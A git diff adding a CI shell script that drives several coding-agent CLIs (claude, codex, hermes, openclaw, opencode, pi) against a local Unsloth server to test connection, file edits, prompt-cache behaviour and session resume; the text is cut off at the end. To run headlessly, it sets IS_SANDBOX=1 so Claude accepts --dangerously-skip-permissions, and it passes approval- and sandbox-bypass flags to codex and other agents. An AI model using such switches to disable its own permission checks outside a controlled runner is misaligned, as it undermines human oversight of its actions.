diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs deleted file mode 100644 index 17d96cd0f5..0000000000 --- a/.git-blame-ignore-revs +++ /dev/null @@ -1,8 +0,0 @@ -# Commits listed here are skipped by `git blame` so that bulk, whitespace-only -# changes don't obscure the real authorship of a line. -# -# GitHub honors this file automatically. To use it locally, run once: -# git config blame.ignoreRevsFile .git-blame-ignore-revs - -# chore(studio/frontend): normalize line endings to LF -c50b8ab910f5aa56dd7ae0022d2c7b96bfe3384a diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh new file mode 100755 index 0000000000..f4189a159e --- /dev/null +++ b/.github/scripts/agent-guides-drive.sh @@ -0,0 +1,682 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. +# +# Drive one coding agent against the running `unsloth run` server for the +# Local Agent Guides CI. All failures from here are failure class (c) +# "guide drift": the server preflight already passed and the agent CLI +# already installed, so a failure here means the documented recipe in +# unsloth_cli/commands/start.py no longer produces a working flow. +# +# Self-updating: for all six agents (claude, codex, hermes, openclaw, +# opencode, pi) we obtain the exact env + command from +# `unsloth start --no-launch` and run THAT, so a recipe change is +# exercised automatically. +# +# Every agent invocation is wrapped in `timeout` so a headless-TTY prompt +# can never hang the runner -- a timeout is reported as guide drift with a +# distinct message. +# +# Usage: +# agent-guides-drive.sh connection +# agent-guides-drive.sh file-edit +# agent-guides-drive.sh attribution-ab claude +# +# Required env (exported by serve-unsloth-run.sh): +# UNSLOTH_BASE_URL UNSLOTH_API_KEY UNSLOTH_MODEL_ID +# UNSLOTH_LLAMA_LOG_DIR AGENT_INVOKE_TIMEOUT UNSLOTH_SEED +set -uo pipefail + +MODE="${1:?usage: agent-guides-drive.sh }" +AGENT="${2:?usage: agent-guides-drive.sh }" + +: "${UNSLOTH_BASE_URL:?serve step did not export UNSLOTH_BASE_URL}" +: "${UNSLOTH_API_KEY:?serve step did not export UNSLOTH_API_KEY}" +: "${UNSLOTH_MODEL_ID:?serve step did not export UNSLOTH_MODEL_ID}" +# Determinism (seed/temp) is applied at the server level by +# serve-unsloth-run.sh --extra; agents inherit it through the API. +TIMEOUT="${AGENT_INVOKE_TIMEOUT:-180}" + +# Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner +# IS the sandbox, so declare it (mirrors unslothai/scripts launcher.sh). Harmless +# to the other agents, which ignore it. +export IS_SANDBOX=1 + +# Absolute paths anchored at the repo root (this script lives in +# .github/scripts/). Everything writes here regardless of the current working +# directory, so the file-edit mode can `cd` into a scratch work dir without +# breaking log/redaction writes. +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +LOGS_DIR="$REPO_ROOT/logs" +REDACTED_DIR="$REPO_ROOT/redacted-configs" +WORKDIR_BASE="$REPO_ROOT/agent-workdir" +CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh" +mkdir -p "$LOGS_DIR" "$REDACTED_DIR" +CONNECT_REF="unsloth_cli/commands/start.py" + +# Prefill-shrinking flags for Claude Code. The heavyweight agents send +# multi-thousand-token system prompts + full tool schemas, which on a CPU-only +# runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model). +# Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file) +# and restricting tools cuts the prefill to a few hundred tokens so it completes +# quickly on CPU. These only shape the request size; the start.py recipe +# (endpoint, auth, model) is still exercised end to end. +# +# The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured +# via `claude -p /context`, the default prompt is ~28k tokens of which ~18k is +# "System tools" alone. --allowedTools/--disallowedTools only gate PERMISSION to +# call a tool; they do NOT remove its schema from what is sent to the model, so +# the earlier whitelist left the full ~18k in the prompt and CPU prefill +# (~16 tok/s) overran claude's own request timeout into a retry loop. --tools is +# the flag that restricts which schemas are sent. (The ~8k "Memory files" chunk +# is auto-loaded CLAUDE.md; the unsloth repo ships none, so it is 0 in CI.) +# +# Connection probe: --tools "" sends ZERO tool schemas, leaving ~20 tokens total +# (a one-line --system-prompt-file + the user turn), which prefills instantly. +CLAUDE_CONNECT_FLAGS=( + --system-prompt-file "$SCRIPT_DIR/ci-connect-prompt.txt" + --tools "" +) +# File-edit: the task needs the file/shell tools, so send only those schemas +# (~2.3k tokens vs ~18k for the full set). +CLAUDE_EDIT_FLAGS=( + --system-prompt-file "$SCRIPT_DIR/ci-min-system-prompt.txt" + --tools "Bash,Edit,Write,Read" +) + +guide_fail() { + echo "::error::[guide drift] agent=${AGENT}: $* (preflight passed + install OK, so the documented flow in ${CONNECT_REF} drifted)." >&2 + exit 1 +} + +# Redact the API key from any file we are about to keep as an artifact. +# Portable across GNU sed (Linux runners) and BSD sed (macOS), so the +# redaction is never silently skipped. +redact() { + local f + for f in "$@"; do + [ -f "$f" ] || continue + if sed --version >/dev/null 2>&1; then + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + else + sed -i '' "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + fi + done +} + +# Print a file to the log with the key scrubbed, without mutating it (the raw file is +# still needed to parse the real env). Use this instead of `cat` for any transcript that +# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs. +cat_redacted() { + sed "s#${UNSLOTH_API_KEY}##g" "$1" +} + +# A reply must be non-empty and free of connection/auth errors. +assert_reply() { + local out="$1" + if [ ! -s "$out" ]; then + guide_fail "agent produced an EMPTY reply" + fi + if grep -qiE 'connection refused|connection error|econnrefused|fetch failed|http 4[0-9][0-9]|unauthorized|invalid api key|authentication failed' "$out"; then + guide_fail "agent reply contained a connection/auth error: $(grep -iE 'connection|unauthorized|auth|http 4' "$out" | head -1)" + fi + echo "[$AGENT] reply (first 20 lines):" + head -20 "$out" +} + +# Run a command under a hard timeout; map 124 to a guide-drift hang message. +run_timed() { # $1=outfile, rest=command + local out="$1"; shift + timeout "$TIMEOUT" "$@" > "$out" 2>&1 + local rc=$? + if [ "$rc" -eq 124 ]; then + redact "$out" # guide_fail exits below, so scrub the transcript here too + echo "[$AGENT] last 40 lines before timeout:"; tail -40 "$out" 2>/dev/null || true + guide_fail "invoke timed out after ${TIMEOUT}s (headless-TTY hang -- the recipe likely needs a non-interactive/print flag)" + fi + return "$rc" +} + +# Read a value from an `export VAR=...` line in the connect --no-launch output. +# `unsloth start` writes each agent's session config off the user's ~ and points +# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG / +# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here. +raw_env() { # $1 = var name -> value (one shlex-quote layer stripped) + local raw="$LOGS_DIR/connect-${AGENT}.txt" + local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)" + v="${v#\'}"; v="${v%\'}"; printf '%s' "$v" +} + +# ── 5-agent start.py path: parse env + command from --no-launch ───────── +# Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the +# launch command on the last printed line), and runs start.py's config +# writers as a side effect (it writes each agent's relocated session config). +parse_connect() { + local raw="$LOGS_DIR/connect-${AGENT}.txt" + # CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their + # config (which now prompts by default), so the file-edit test opts into auto-approval + # here, the same intent as claude/codex's per-call bypass flags. + local yolo=() + [ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo) + if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then + cat_redacted "$raw" + guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero" + fi + echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw" + CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)" + # The launch command is the last non-export, non-status line. start.py + # prints "Studio · model " and "Updated ..." status lines first. + CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \ + | grep -E '[^[:space:]]' | tail -1)" + [ -n "$CONNECT_CMD" ] || guide_fail "could not parse a launch command from connect --no-launch output" + redact "$raw" +} + +# Cross-check the documented contract knobs so silent start.py changes +# (env-var rename, wire_api flip, attribution setting drop) also fail/flag. +crosscheck_contract() { + local raw="$LOGS_DIR/connect-${AGENT}.txt" + local cfg home + case "$AGENT" in + codex) + grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \ + || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)" + home="$(raw_env CODEX_HOME)" + # An empty relocation var would make cfg "/config.toml" and silently + # skip the [ -f ] contract check below; fail loudly instead. + [ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())" + cfg="$home/config.toml" + if [ -f "$cfg" ]; then + grep -q 'wire_api = "responses"' "$cfg" \ + || guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml" + cp "$cfg" "$REDACTED_DIR/codex-config.toml" + fi + grep -q 'codex --oss --profile unsloth_api' "$raw" \ + || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'" + ;; + claude) + grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \ + || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())" + grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \ + || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())" + ;; + hermes) + grep -q 'UNSLOTH_API_KEY' "$raw" \ + || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)" + home="$(raw_env HERMES_HOME)" + [ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())" + cfg="$home/config.yaml" + [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml" + ;; + openclaw) + cfg="$(raw_env OPENCLAW_CONFIG_PATH)" + if [ -n "$cfg" ] && [ -f "$cfg" ]; then + grep -q '"openai-completions"' "$cfg" \ + || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)" + cp "$cfg" "$REDACTED_DIR/openclaw.json" + fi + ;; + opencode) + cfg="$(raw_env OPENCODE_CONFIG)" + [ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json" + ;; + pi) + # Pi has no config-dir env var; the session is HOME-relocated, and the + # provider config lives at $HOME/.pi/agent/models.json. + cfg="$(raw_env HOME)/.pi/agent/models.json" + if [ -f "$cfg" ]; then + grep -q '"openai-completions"' "$cfg" \ + || echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)" + cp "$cfg" "$REDACTED_DIR/pi-models.json" + fi + ;; + esac + redact "$REDACTED_DIR"/* 2>/dev/null || true +} + +# Heavyweight agents (hermes, openclaw) bake a large system prompt + tool JSON +# schemas into every request, which a CPU runner cannot prefill before the invoke +# timeout. As with claude's --tools, we shrink the request from the agent's own +# config: zero tools for the connection probe collapses the prompt to a few +# hundred tokens, since both CLIs gate the bulk of their prompt on having tools. + +# Hermes: an explicit empty cli toolset disables all tools (and drops the +# tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands. +# Hermes enables its default cli toolset when the session config does not pin one, +# so we must set platform_toolsets.cli explicitly to [] (not just append) to get +# zero tools. That needs a YAML parser, and the runner's bare python3 has no +# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run +# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml +# that `unsloth start` printed, not the user's ~/.hermes. +# (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.) +patch_hermes_tools() { # $1 = none|default + # Check the raw var BEFORE appending /config.yaml: the joined path is never + # empty, so the old guard could not fire and the patcher would die on + # "/config.yaml" with a bare traceback instead of this clear failure. + local home; home="$(raw_env HERMES_HOME)" + [ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())" + local cfg; cfg="$home/config.yaml" + # Find a python that can import yaml. The runner's bare python3 cannot, but the + # interpreter in the `unsloth` console-script shebang provably can (it runs + # start.py's write_hermes_config, which imports yaml). Try that first, then + # any python on PATH, then the venv sibling, picking the first with PyYAML. + local cand py="" shebang + shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')" + for cand in "$shebang" python3 python "$(dirname "$(command -v unsloth)")/python"; do + [ -n "$cand" ] || continue + { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue + if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi + done + [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config" + echo "[hermes] patching $cfg with $py" + "$py" - "$1" "$cfg" <<'PY' +import os, sys +import yaml +mode = sys.argv[1] +p = sys.argv[2] +cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {} +ts = cfg.get("platform_toolsets") +if not isinstance(ts, dict): + ts = cfg["platform_toolsets"] = {} +if mode == "none": + ts["cli"] = [] # explicit empty list -> zero tools (not "defaults") +else: + ts.pop("cli", None) # file-edit needs real tools -> restore defaults +with open(p, "w") as fh: + yaml.safe_dump(cfg, fh, sort_keys=False) +print(f"[hermes] platform_toolsets.cli = {ts.get('cli', 'default')}") +PY +} + +# OpenClaw: 'openclaw agent' has no tool/prompt flags, so we define a 'ci' agent +# in openclaw.json. tools.deny ["*"] sends zero tool schemas (deny always wins) +# for the connection probe; contextInjection "never" + defaults.skipBootstrap +# drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for +# both modes. --agent must reference a defined agent, so write it before invoking. +patch_openclaw_agent() { # $1 = notools|tools + # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that + # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw). + local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)" + [ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())" + python3 - "$1" "$cfg" <<'PY' +import os, sys, json +mode = sys.argv[1] +p = sys.argv[2] +cfg = json.load(open(p)) if os.path.exists(p) else {} +agents = cfg.setdefault("agents", {}) +agents.setdefault("defaults", {})["skipBootstrap"] = True +lst = [a for a in agents.get("list", []) if a.get("id") != "ci"] +agent = {"id": "ci", "contextInjection": "never"} +if mode == "notools": + agent["tools"] = {"deny": ["*"]} +lst.append(agent) +agents["list"] = lst +with open(p, "w") as fh: + json.dump(cfg, fh, indent=2) +print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}") +PY +} + +# Build an invoke script that applies start.py's env then runs the launch +# command (with extra args appended) under bash. We do NOT eval connect's env +# into this shell; we write it into a one-shot script so the export/unset +# semantics are exactly what start.py printed. The script path is absolute +# so it is valid even when the caller has cd'd into a scratch work dir. +invoke_via_connect() { # $1=outfile, rest=extra args appended to the command + local out="$1"; shift + local script="$LOGS_DIR/invoke-${AGENT}.sh" + local real; real="$(mktemp)" + # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a + # session knob without editing the user's config; empty -> use what start.py emitted. + local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}" + { + echo "set -uo pipefail" + echo "$CONNECT_ENV" + [ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA" + # Append extra args (the prompt / flags) to the launch command verbatim. + printf '%s' "$cmd" + local a + for a in "$@"; do printf ' %q' "$a"; done + printf '\n' + } > "$real" + # Upload a REDACTED copy of the script, but EXECUTE the un-redacted one from a + # temp path outside the artifact dir. Redacting the script we run would turn + # the real `export TOKEN=sk-...` line into `export TOKEN=`, which is + # invalid bash (the `<`/`>` are redirections) and silently breaks every agent. + # Writing the redacted copy up front keeps the key out of the artifact even if + # the run times out (run_timed exits before returning here). + cp "$real" "$script"; redact "$script" + # The connect one-liner now carries the key as an inline env assignment; scrub it on + # the way to the log (the executed $real keeps the live value). + echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/} $*" + run_timed "$out" bash "$real" + local rc=$? + rm -f "$real" + redact "$out" # the transcript can echo the token; scrub before upload + return "$rc" +} + +# ═════════════════════════════════════════════════════════════════════════ +case "$MODE" in + # ── connection: trivial prompt, assert a non-empty, error-free reply ──── + connection) + PROMPT='Reply with exactly the single word: pong' + OUT="$LOGS_DIR/${AGENT}-connection.txt" + parse_connect + crosscheck_contract + # claude/codex run in print mode via the flags start.py emits + # (claude -p / codex exec). For agents whose default subcommand prints + # to stdout we pass the prompt through ctx.args. + case "$AGENT" in + claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;; + codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;; + opencode) invoke_via_connect "$OUT" run "$PROMPT" ;; + pi) invoke_via_connect "$OUT" -p "$PROMPT" ;; + hermes) patch_hermes_tools none + invoke_via_connect "$OUT" -z "$PROMPT" ;; + openclaw) patch_openclaw_agent notools + CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \ + --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;; + *) invoke_via_connect "$OUT" "$PROMPT" ;; + esac + # A non-zero exit from the documented launch command is drift even if it + # printed something: a benign-looking "command not found" / usage dump would + # otherwise slip past assert_reply (which only flags empty/error-keyword text). + rc=$? + [ "$rc" -eq 0 ] || guide_fail "the documented launch command exited non-zero (rc=$rc) -- see the transcript above" + assert_reply "$OUT" + echo "[$AGENT] connection OK" + ;; + + # ── file-edit: deterministic 2-turn hello.py test (Qwen3.5-2B) ────────── + file-edit) + WORK="$WORKDIR_BASE/${AGENT}" + rm -rf "$WORK"; mkdir -p "$WORK" + OUT1="$LOGS_DIR/${AGENT}-fileedit-turn1.txt" + OUT2="$LOGS_DIR/${AGENT}-fileedit-turn2.txt" + T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.' + T2='Run hello.py with python and show me the exact output.' + + # The start.py recipe writers + crosscheck must see the repo; run them + # from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw + # gate tool approval through their config (prompting by default), so file-edit + # opts them into auto-approval to run edits/commands headlessly. + case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac + parse_connect + crosscheck_contract + # File-edit needs real tools, so we cannot zero them as in connection. + # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md + # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work + # dir is empty, so no project context files are auto-loaded either. + case "$AGENT" in + hermes) patch_hermes_tools default ;; + openclaw) patch_openclaw_agent tools ;; + esac + + # Drive from inside the work dir so the agent edits files there. All log + # writes use absolute $LOGS_DIR, so cwd does not matter for them. + cd "$WORK" || guide_fail "could not enter work dir $WORK" + + invoke_turn() { # $1=outfile $2=continue? $3=prompt + local out="$1" cont="$2" prompt="$3" + case "$AGENT" in + pi) + # Pi continues the previous session with -c; provider/model come from + # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here. + if [ "$cont" = "continue" ]; then + invoke_via_connect "$out" -p --continue "$prompt" + else + invoke_via_connect "$out" -p "$prompt" + fi ;; + claude) + # --dangerously-skip-permissions lets headless claude actually use the + # Write/Bash tools (otherwise it blocks on an approval prompt and emits + # nothing). IS_SANDBOX=1 (exported above) authorizes it. + if [ "$cont" = "continue" ]; then + invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p --continue "$prompt" + else + invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p "$prompt" + fi ;; + codex) + # --dangerously-bypass-approvals-and-sandbox gives codex exec + # workspace-write (default is read-only -> cannot create hello.py) and + # skips the bubblewrap sandbox that the runner lacks. + if [ "$cont" = "continue" ]; then + invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox resume --last "$prompt" + else + invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox "$prompt" + fi ;; + opencode) invoke_via_connect "$out" run "$prompt" ;; + hermes) invoke_via_connect "$out" -z "$prompt" ;; + openclaw) CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$out" agent --local --agent ci \ + --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;; + *) invoke_via_connect "$out" "$prompt" ;; + esac + } + + # Turn 1: create hello.py. + invoke_turn "$OUT1" fresh "$T1" + # Fail on a non-zero agent exit before trusting side effects: an agent can + # error out (API/tool failure) yet leave a plausible file/transcript behind, + # which would otherwise slip past the assertions below (mirrors connection). + rc=$? + [ "$rc" -eq 0 ] || { echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true; \ + guide_fail "turn 1 (create hello.py) exited non-zero (rc=$rc)"; } + + # Hard assertions on the side effect (the real test): file + content + run. + if [ ! -f hello.py ]; then + echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true + guide_fail "turn 1 did not create hello.py" + fi + grep -q 'Hello' hello.py || guide_fail "hello.py does not contain 'Hello'" + RUN_OUT="$(python3 hello.py 2>&1 || true)" + [ "$RUN_OUT" = "Hello" ] || guide_fail "python3 hello.py printed '$RUN_OUT', expected exactly 'Hello'" + echo "[$AGENT] turn 1 OK (file created, prints 'Hello')" + + # Turn 2: same cwd + session continuation; assert the agent's run output + # contains Hello. Narration drift is WARN-only, missing output is a hard fail. + invoke_turn "$OUT2" continue "$T2" + rc=$? + [ "$rc" -eq 0 ] || { echo "[$AGENT] turn-2 transcript:"; tail -60 "$OUT2" 2>/dev/null || true; \ + guide_fail "turn 2 (run hello.py) exited non-zero (rc=$rc)"; } + if grep -q 'Hello' "$OUT2"; then + echo "[$AGENT] turn 2 OK (run output contains 'Hello')" + else + echo "[$AGENT] turn-2 transcript:"; tail -60 "$OUT2" 2>/dev/null || true + guide_fail "turn 2 run/bash output did not contain 'Hello'" + fi + cd "$REPO_ROOT" || true + echo "[$AGENT] file-edit OK" + ;; + + # ── attribution-ab: Claude Code KV-cache HIT vs MISS ──────────────────── + attribution-ab) + [ "$AGENT" = "claude" ] || guide_fail "attribution-ab only applies to claude" + # The llama-server log filename uses the INTERNAL random llama.cpp port, + # not STUDIO_PORT, so we never glob by port: assert-prompt-cache.sh picks + # the newest llama-*.log and we slice it by a byte offset (`mark`) captured + # right before the measured turn, so an earlier turn's reuse can't leak in. + LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}" + export LLAMA_LOG_DIR + parse_connect # prints session env + suppression flags (no ~/.claude write) + crosscheck_contract + PROMPT='Reply with exactly the single word: pong' + + # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 + + # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a + # HIT on the continued turn, since the system-prompt prefix is stable. + invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes + FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2 + invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again" + CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT + + # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip + # the env var to 1 and strip the suppression flags from the launch command + # (without them the dynamic attribution line is included and changes every + # turn, so the shared prefix moves and the KV cache is invalidated, ~90% + # slower). This is session-only: nothing is written to ~/.claude. + CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1' + CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \ + | sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")" + invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT" + FROM_MISS="$(bash "$CACHE_HELPER" mark)" + invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again" + CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS + unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE + echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)" + ;; + + # ── resume: does a launched agent's session survive exit and resume? ──── + # Unlike the other modes, this drives the real LAUNCH path (`unsloth start + # ...`, the interactive default), not the --no-launch recipe. That + # path relocates each agent's home to a throwaway temp dir wiped on exit, so + # a session cannot be resumed -- unless --persist routes it to the stable + # Unsloth agents dir instead. We run one headless turn per pass and check + # whether the turn left a session in a persistent store (deterministic, no + # reliance on the model recalling anything), for a baseline pass and a + # --persist pass, and assert the expected split for this agent. + resume) + CODEWORD="PLATYPUS7" + T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK." + T2="What codeword did I ask you to remember? Reply with just that word." + WORK="$WORKDIR_BASE/${AGENT}-resume" + + # STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to. + # Read it from a --no-launch probe (which also writes the agent's config + # there). codex/pi relocate their whole home/HOME here; opencode/claude keep + # their session data in a fixed user dir, so STABLE_HOME stays empty for them. + parse_connect + case "$AGENT" in + codex) STABLE_HOME="$(raw_env CODEX_HOME)" ;; + pi) STABLE_HOME="$(raw_env HOME)" ;; + *) STABLE_HOME="" ;; + esac + + # The persistent stores a session would land in if it were NOT wiped. We + # count files here before/after each turn; a positive delta means the + # session persisted (is resumable), zero means it went to a wiped temp dir. + resume_tracked_dirs() { + case "$AGENT" in + codex) printf '%s\n' "$HOME/.codex" ;; + opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;; + claude) printf '%s\n' "$HOME/.claude" ;; + pi) printf '%s\n' "$HOME/.pi" ;; + *) : ;; + esac + [ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME" + } + count_session_files() { + local total=0 d n + while IFS= read -r d; do + [ -n "$d" ] && [ -d "$d" ] || continue + n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n)) + done < <(resume_tracked_dirs) + echo "$total" + } + + # The headless first-turn subcommand per agent (mirrors file-edit's map), + # forwarded verbatim through the launch path as passthrough args. + set_t1_cmd() { + case "$AGENT" in + claude) T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;; + codex) T1_CMD=(exec "$T1") ;; + opencode) T1_CMD=(run "$T1") ;; + pi) T1_CMD=(-p "$T1") ;; + *) guide_fail "resume mode does not cover agent '$AGENT'" ;; + esac + } + + # Run one headless turn through the launch path. $1=outfile, $2="" or + # "--persist", rest = the agent subcommand. --yolo auto-approves so no tool + # prompt can hang; --api-key attaches to the already-served CI model. + launch_turn() { + local out="$1" rflag="$2"; shift 2 + local flag=(); [ -n "$rflag" ] && flag=("$rflag") + run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \ + --api-key "$UNSLOTH_API_KEY" "$@" + local rc=$? + redact "$out" + return "$rc" + } + + # One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED + # from the session-store delta. Runs in the main shell (not a command + # substitution) so a hang's guide_fail actually fails the job and the + # progress lines reach the CI log. $1 = "" (baseline) or "--persist". + RESULT="" + run_pass() { + local rflag="$1" label="baseline" + [ -n "$rflag" ] && label="resume" + rm -rf "$WORK"; mkdir -p "$WORK" + set_t1_cmd + local out="$LOGS_DIR/${AGENT}-resume-${label}.txt" + local before after rc + before="$(count_session_files)" + pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK" + launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$? + popd >/dev/null || true + after="$(count_session_files)" + echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})" + # The turn must succeed for the delta to mean anything: an agent that writes a + # session file then errors would otherwise be misread as PERSISTED. Mirror the + # file-edit mode and fail the pass on a non-zero launch (the flagship codex recall + # below stays WARN-only, driven by its own launch_turn calls). + [ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \ + guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; } + if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi + } + + run_pass ""; BASELINE="$RESULT" + # Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix. + # opencode/claude persist either way, so the baseline already proves it and a + # second full CPU turn only risks a timeout; skip it for them. + case "$AGENT" in + codex|pi) run_pass "--persist"; RESUME="$RESULT" ;; + *) RESUME="n/a (persists either way)" ;; + esac + + # Expected: codex/pi relocate their whole home to the temp dir, so a plain + # launch is WIPED and only --persist PERSISTS. opencode/claude keep their + # session data in a fixed user dir, so the baseline already PERSISTS. + case "$AGENT" in + codex|pi) EXPECT_BASELINE="WIPED" ;; + opencode|claude) EXPECT_BASELINE="PERSISTED" ;; + esac + + echo "──────────────────────────────────────────────" + echo "[$AGENT] RESUME EXPERIMENT" + echo " baseline (unsloth start ${AGENT}): ${BASELINE} (expected ${EXPECT_BASELINE})" + echo " with --persist (unsloth start ${AGENT} --persist): ${RESUME}" + echo "──────────────────────────────────────────────" + + [ "$BASELINE" = "$EXPECT_BASELINE" ] \ + || guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}" + case "$AGENT" in + codex|pi) + [ "$RESUME" = "PERSISTED" ] \ + || guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;; + esac + + # Flagship behavioral proof (codex only, WARN-only): after a --persist plant, + # resume the session and check the model 